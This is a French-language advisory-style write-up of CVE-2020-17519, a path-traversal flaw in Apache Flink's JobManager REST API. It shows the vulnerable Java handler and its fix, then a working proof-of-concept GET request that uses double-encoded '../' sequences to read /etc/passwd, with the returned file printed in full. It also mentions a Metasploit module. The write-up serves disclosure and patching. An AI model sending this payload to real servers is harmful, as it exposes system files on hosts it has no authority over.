
[CVE-2020-17519] Apache Flink API RESTful Lecture arbitraire de fichiers
[CVE-2020-17519] Lecture arbitraire de fichiers via l'API RESTful d'Apache Flink
Apache Flink est un framework et un moteur de traitement distribué pour des calculs avec état sur des flux de données non bornés et bornés, développé en Java et Scala. Un changement introduit dans Apache Flink 1.11.0 (et également publié dans les versions 1.11.1 et 1.11.2) permet aux attaquants de lire n'importe quel fichier du système de fichiers local du JobManager via l'API RESTful du processus JobManager. L'accès au système de fichiers est limité aux fichiers accessibles par le processus JobManager.
Bien que toutes les versions comprises entre 1.11.0 - 1.11.2 soient affectées par la vulnérabilité, Apache Flink a corrigé la vulnérabilité pour les versions 1.11.3 et supérieures.
Le code vulnérable est la classe src/main/java/org/apache/flink/runtime/rest/handler/cluster/JobManagerCustomLogHandler.java. L'extrait de code associé est présenté ci-dessous.
if (logDir == null) {
return null;
}
String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
return new File(logDir, filename);
}
}
Le problème est que le gestionnaire de requêtes permet un accès direct au chemin du fichier. Avec ce , la ligne de code vulnérable a été modifiée comme ci-dessous. Dans l'extrait de code ci-dessous, la ligne vulnérable est marquée comme ligne de commentaire.
if (logDir == null) {
return null;
}
// String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
String filename = new File(handlerRequest.getPathParameter(LogFileNamePathParameter.class)).getName();
return new File(logDir, filename);
}
}
Preuve de concept (PoC) : Pour exploiter cette vulnérabilité, vous pouvez utiliser la requête suivante
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
Host: vulnerablehost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
La réponse à la requête ci-dessus est présentée ci-dessous.
HTTP/1.1 200 OK
Content-Type: text/plain
content-length: 964
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
flink:x:9999:9999::/opt/flink:/bin/sh

De plus, un module Metasploit est disponible pour CVE-2020-17519 avec un classement Excellent. Vous pouvez trouver les codes Ruby ici.
